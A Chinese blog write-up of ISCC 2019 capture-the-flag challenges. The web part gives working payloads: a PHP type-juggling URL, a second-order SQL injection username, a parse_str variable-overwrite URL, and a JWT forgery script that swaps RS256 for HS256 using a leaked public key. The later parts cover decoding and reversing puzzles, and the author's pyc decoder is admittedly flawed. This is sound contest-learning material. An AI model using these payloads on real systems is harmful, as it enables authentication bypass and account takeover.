ISCC 2019部分writeup

警告
本文最后更新于 2019-05-01,文中内容可能已过时。

ISCC2019 我还是一只web狗 😭

题目地址:http://39.100.83.188:8002

https://y4er.com/img/uploads/20190501180858.png

https://y4er.com/img/uploads/20190501181040.png

删掉cookie和code字段提示密码错误

burp爆破3位数字

https://y4er.com/img/uploads/20190501181505.png

题目地址: http://39.100.83.188:8001

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);

要求满足

  1. username=‘w3lc0me_To_ISCC2019’
  2. 输入的vaule不在ascii码可见范围内
  3. intval($password) < 2333 && intval($password + 1) > 2333

考点在于弱类型和类型转换

查阅chr()相关函数

1
2
3
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)

chr()自动mod256

那么构造我们的脚本生成payload

1
2
3
4
5
6
7
$payload = 'w3lc0me_To_ISCC2019';
$payload1 = '';
for ($i=0; $i<strlen($payload); $i++){
//    echo $username1[$i].'<br>';
    $payload1.= '&value[]='.(256+intval(ord($payload[$i])));
}
echo $payload1;

password就用进制绕过

2334的hex是0x91e

1
2
echo intval('0x91e');		//0
echo intval('0x91e'+1);		//2335

最后的payload

1
http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91e

http://39.100.83.188:8065/

title提示二次注入,注入点发生在注册的地方。

注册用户名为admin'#,然后修改密码,用修改后的密码登录admin账号即可拿到flag

重新写文章的用户名被注册了,我在这注册admin'#

https://y4er.com/img/uploads/20190508163511.png

修改密码为a

https://y4er.com/img/uploads/20190508163641.png

登录admin用户

https://y4er.com/img/uploads/20190508163613.png

http://39.100.83.188:8066/ 源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0); 
include("flag.php"); 
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; 
$parsed = parse_url($_SERVER['REQUEST_URI']); 
if(isset($parsed["query"])){ 
    $query = $parsed["query"]; 
    $parsed_query = parse_str($query); 
    if($parsed_query!=NULL){ 
        $action = $parsed_query['action']; 
    } 

    if($action==="auth"){ 
        $key = $_GET["key"]; 
        $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 
            die("<img src='cxk.jpg'>"); 
        } 

        echo $flag; 
    } 
}else{ 
    show_source(__FILE__); 
}?>

通读代码,要求

  1. 设置query
  2. action=auth
  3. $hashed_input要等于$hashed_key

发现$parsed_query = parse_str($query);存在变量覆盖

先说下parse_str为什么会产生变量覆盖,举例

1
2
3
4
5
$a = 'a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
print_r($parsed['query']);
$parsed_query = parse_str($parsed['query']);
print_r($a);

如果你访问的是http://127.0.0.1/1.php?query=&a=b,那么会导致$a的值被覆盖为b,因为parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

那么再来看这道题就比较明朗,最关键的在于$hashed_input要等于$hashed_key,那么我们构造payload

1
http://39.100.83.188:8066/?query=&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&action=auth&key=a

hashed_key的值覆盖为字符串a加密的sha256,然后此时再传入key=a这样满足条件即输出flag{7he_rea1_f1@g_15_4ere}

题目地址: http://39.100.83.188:8053/

查看源代码中出现接口,http://39.100.83.188:8053/static/js/common.js

发现一段疑似公钥加密方式的代码,先记住

1
2
3
4
5
6
function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

提示只有admin可以看到信息,登录注册,抓包发现有header中多了

1
Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2Ijoib3RoZXIifQ.V9XN_nMg-xQ1rufh21aCmEwm56yf__B0AGTXyWcEEO9Xdz8bhouh6waZfuaQhHM6VSHqiQEAuYE67JaCgnj9k5hyRavU4gkf1DzVexTJtC9qhcD8tzPOsxCp8KtU96Czln1mSDn03siU9rEQ1vzUtU68R1vIk6tIxTr-tzeKu4k

考点应该是jwt(Json Web Token攻击),加解密地址https://jwt.io

jwt解码后分为3个部分,由三个点(.)分隔

分别为:

1
2
3
Header
Payload
Signature

解密下iscc19后面的那段

算法

1
2
3
4
{
  "alg": "RS256",
  "typ": "JWT"
}

payload

1
2
3
4
{
  "name": "chuyu",
  "priv": "other"
}

具体的攻击原理我贴一段百度的。

我们知道JWT的header部分中,有签名算法标识alg

而alg是用于签名算法的选择,最后保证用户的数据不被篡改。

但是在数据处理不正确的情况下,可能存在alg的恶意篡改

例如由于网站的不严谨,我们拿到了泄露的公钥pubkey

我们知道如果签名算法为RS256,那么会选择用私钥进行签名,用公钥进行解密验证

假设我们只拿到了公钥,且公钥模数极大,不可被分解,那么如何进行攻击呢?

没有私钥我们是几乎不可能在RS256的情况下篡改数据的,因为第三部分签名需要私钥,所以我们可以尝试将RS256改为HS256

此时即非对称密码变为对称加密

我们知道非对称密码存在公私钥问题

而对称加密只有一个key

此时如果以pubkey作为key对数据进行篡改,则会非常简单,而如果后端的验证也是根据header的alg选择算法,那么显然正中下怀。

首先我们要拿到公钥/pubkey/{md5(username+password)}也就是这个链接,对于我的用户名和密码都是chuyu,那么应该是这样的http://39.100.83.188:8053/pubkey/93a18e397fc3beb55420bf4656b18720

拿到

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。 后端代码会使用RSA公钥+HS256算法进行签名验证。 即更改算法为HS256,此时即不存在公钥私钥问题,因为对称密码算法只有一个key 此时即我们可以任意访问的pubkey 故此我立刻写出了构造脚本

1
2
3
import jwt
public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'''
print jwt.encode({"name": "chuyu","priv": "admin"}, key=public, algorithm='HS256')

priv改为admin,输出

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ.Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M

ps:jwt包应该这样安装pip2 install pyjwt

报错'The specified key is an asymmetric key or x509 certificate and'修改/usr/local/lib/python2.7/dist-packages/jwt/algorithms.py的151行**prepare_key()**为如下

1
2
3
def prepare_key(self, key):
        key = force_bytes(key)
        return key

然后输出eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ.Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M,修改头为这个访问/list拿到admin的信息

https://y4er.com/img/uploads/20190515150712.png

访问拿到flag

https://y4er.com/img/uploads/20190515150826.png

8进制转十进制,然后base64解密。直接上解密脚本

1
2
3
4
5
6
7
8
$code='0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113';
$code= explode(' ',$code);
//print_r($code);
echo '<br>';
foreach ($code as $value){
    $value=octdec($value);
    echo chr($value);
}

V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

解密后

1
2
3
Well done!

 Flag: ISCC{N0_0ne_can_st0p_y0u}

下载下来是无后缀文件,加zip后缀,解压出welcome.txt

1
蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條

看到这个我是一脸懵逼,经大佬提示明白为二进制 给出脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
with open("Welcome.txt","r") as f:
    s = f.read().split(" ")
    z = 0
    print(s)

    while True:
        try:
            ss = ""
            for i in range(8):
                #print(s[z+i])
                if "囗" in s[z+i]:
                    ss = ss+"1"
                else :
                    ss = ss + "0"

            print(chr(int(ss,2)),end="")
            
            z = z +8
        except :
            break
    

#print(int(ss))

https://y4er.com/img/uploads/20190505155211.png

IsCc_2019反转9102_cCsI提交

1
RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY(TRFVBTYUIOJMTRFVG),QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE-WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR.

键盘密码 参考https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others/#_23

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
STR = STR.replace("WSXCDE",'e')
STR = STR.replace("RFVGYHN",'h')
STR = STR.replace("WSXCV",'l')
STR = STR.replace("TGBNMJUY",'o')
STR = STR.replace("TGBNMJU",'u')
STR = STR.replace("GRDXCVB",'a')
STR = STR.replace("CVGRED",'g')
STR = STR.replace("QWERTYTRFVG",'f')
STR = STR.replace("WSXCFE",'d')
STR = STR.replace("IUYHNBV",'s')
STR = STR.replace("QWERTY",' ')
STR = STR.replace("TRFVB",'c')
STR = STR.replace("QAZSCE",'k')
STR = STR.replace("NBVCXSWERF",'p')
STR = STR.replace("MNBVCDRTGHU",'r')
STR = STR.replace("WSX",'i')
STR = STR.replace("EFVT",'y')
STR = STR.replace("YHNMKJ",'b')
STR = STR.replace("ZAQWDVFR",'n')
STR = STR.replace('XSWEFTYHNXSWEFTYHN','m')
STR = STR.replace('EFVGYWDCFT','w')
STR = STR.replace('TYUIOJM','t')
STR = STR.replace('QAZXCDEWV','t')
STR = STR.replace('XSWEFTYHN','m')
STR = STR.replace('EFVGY','v')
STR = STR.replace('RGNYGC','x')
STR = STR.replace('TRFVG', 'f')
print(STR).upper()

解出来

1
HELLO,IN COMPUTER SECURITY, CAPTURE THEFLAG (CTF), A TYPE OF CRYPTOSPORT, IS A COMPUTER SECURITY COMPETITION. CTF CONTESTS ARE USUALLY DESLGREDNED TO SERVE AS AN EDUCATIONAL EXERCISE TO GIVE PARTICIPANTS EXPERIENCE IN SECURING A MACHINE, AS WELL AS CONDUCTING AND REACTING TO THE SORT OF ATTACKSFOUND IN THE REAL WORLD (I.E., BUG BOUNTY PROGRAMS IN PROFESSIONAL SETTINGS). HERE ARE YOURFLAG{ISCC KEYBOARD CIPHER} REVERSE-ENGINEERING, NETWORK SNIFFING, PROTOCOL ANALYSIS, SYSTEM ADMINISTRATION, PROGRAMING, AND CRYPTANALYSIS ARE ALL SKILLS WHICH HAVE BEEN RETUIRED BY PRIOR CTF CONTESTS AT DEF CON.

FLAG{ISCC KEYBOARD CIPHER}

ps:我真的觉得加密好烦

给了一张gif图片 用ps打开 发现

https://y4er.com/img/uploads/20190505161358.png

stegsolve file format

https://y4er.com/img/uploads/20190505161426.png

1
U2FsdGVk X19QwGkc gD0fTjZx gijRzQOG bCWALh4s RDec2w6x sY/ux53V uj/AMZBD J87qyZL5 kAf1fmAH 4Oe13Iu4 35bfRBuZ gHpnRjTB n5+xsDHO NiR3t0+O a8yG/tOK JMNUaued vMyN4v4Q KiFunw== 

aes加密 密匙是ISCC也就是图片中的

两次aes解密后flag{DugUpADiamondADeepDarkMine}

https://y4er.com/img/uploads/20190508161111.png

送分题 扫码得出base64UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q= 解密后PASS{0K_I_L0V3_Y0u!}

然后图片分离压缩包,解压密码是上面那个,解压后拿到flag

sha1 得到了一个神秘的二进制文件。寻找文件中的flag,解锁宇宙的秘密。 注意:将得到的flag变为ISCC{flag}形式提交。

拖到ida中,main函数f5。

https://y4er.com/img/uploads/20190501183339.png

not_the_flag(v4)跟进

1
2
3
4
5
if ( a1 == 42 )
    puts("Cipher from Bill \nSubmit without any tags\n#kdudpeh");
  else
    puts("YOUSUCK");
  return 0LL;

kdudpehsha1加密后就是flag,注意格式。

给了个pyc文件,用uncompyle反编译下

最好使用Linux pip安装 pip install uncompyle

1
2
3
uncompyle6 --help 查看帮助 
uncompyle6 models.pyc > models.py 将models.pyc反编译成py文件 
uncompile -o . *.pyc 将当前文件夹中所有的pyc文件反编译成后缀名为.pyc_dis的源文件

uncompyle6 pyc.pyc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import base64

def encode(message):
    s = ''
    for i in message:
        x = ord(i) ^ 32
        x = x + 16
        s += chr(x)

    return base64.b64encode(s)

correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
    print 'correct'
else:
    print 'wrong'

自定义了加密方法encode

给出我的逆向解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import base64
def encode(message):
    s = ''
    for i in message:
        s += chr(ord(i) ^ 32+ 16)
    return base64.b64encode(s)

def decode(code):
    res = ''
    s = base64.b64decode(code)
    for i in s:
        res+=chr(ord(i) ^32+16)
    return res
    
    
print encode('A')
print "------"
print decode('eYNzc2tjWV1gXFWPYGlTbQ==')

https://y4er.com/img/uploads/20190508174145.png

脚本写的像屎,将就看,解密出来win和Linux的编码不一样,显示都不全,最后flag还得靠猜ISCC{simple_pyc}

.net程序 放到dnspy中

https://y4er.com/img/uploads/20190508175431.png